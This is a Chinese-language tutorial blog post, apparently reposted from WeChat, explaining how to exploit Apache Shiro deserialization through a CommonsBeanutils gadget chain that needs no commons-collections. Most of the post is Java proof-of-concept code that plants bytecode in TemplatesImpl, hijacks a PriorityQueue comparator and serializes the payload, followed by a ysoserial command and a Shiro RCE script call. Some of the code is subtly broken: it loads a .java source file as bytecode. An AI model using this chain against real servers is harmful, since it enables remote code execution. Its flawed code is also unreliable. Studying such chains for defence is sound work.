shiro无依赖利用链
CommonsBeanutils与无commons-collections的Shiro反序列化利用
在Shiro中使用无CommonsCollections依赖的CommonsBeanUtils利用链
https://github.com/phith0n/JavaThings
首先分析漏洞的成因,之后写一下利用。
正常情况下shiro是不带CC的依赖的,如果想打只能分析它本身带的依赖。commons-beanutils-1.8.3.jar
在所有的依赖中,只有它是有完整的反序列化利用链。
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。 关于JavaBean的说明可以参考这篇文章。
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.serializer.OutputPropertyUtils;
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class BeanTest {
public static void main(String[] args) throws Exception {
//加上cc3代码执行的部分。
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
byte[] code = Files.readAllBytes(Paths.get("D://CodeReview/Java/Code_CC/CC/CC/target/classes/org/example/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
// 对templates对象调用
// 下面的outputProperties首字母要小写,符合PropertyUtils的命名规则,后续找方法的时候PropertyUtils会把变量转成大写
PropertyUtils.getProperty(templates,"outputProperties");
}
}
PropertyUtils.getProperty(person, "age")
这里是CB的一个使用。当我们进行拼接的时候。可以执行。执行的原因就是相当于调用了templates的outputProperties方法。
因此,如果PropertyUtils.getProperty
他的属性值能够进行控制的话,那我们就能进行执行鳓
把PropertyUtils.getProperty
加入到反序列化利用链里面。往上找,谁调用了他。
这里就是一个可以利用的点,o1这个参数。
这里compare
函数是在CC2中讲过的
(整体的流程,调用的链)
PriorityQueue.readObject
BeanComparator.compare
PropertyUtils.getProperty (把
PropertyUtils.getProperty
加入到反序列化利用链里面)TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
defineClass.newInstance
因此我们就可以简单写一下CB的整体调用链了。
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javafx.scene.layout.Priority;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class ShiroCB {
public static void main(String[] args) throws Exception {
//代码执行的部分,CC3里面的
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://CodeReview/Java/Code_CC/CC/CC/src/main/java/org/example/Test.java"));//字节,从一个文件里面读
byte[][] codes = {code};
bytecodesField.set(templates,codes);
//需要把CB加进去
BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
//CC2
//PriorityQueue priorityQueue = new PriorityQueue<>();
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
//通过反射的方式更改一下priorityQueue里面的值
Class<PriorityQueue> c = PriorityQueue.class;
Field comparatorField = c.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue,beanComparator);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
Object obj = ois.readObject();
return obj;
}
}
以上。
然后可以使用现成的项目生成
https://github.com/frohoff/ysoserial
java -jar ysoserial-all.jar CommonsBeanutils1 calc > ser.bin
python shiro_rce.py
但是要注意的是,这里CB依赖要一直,这里他用的是1.9版本。默认是1.8.3的。
原文始发于微信公众号(wulala520):shiro无依赖利用链
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论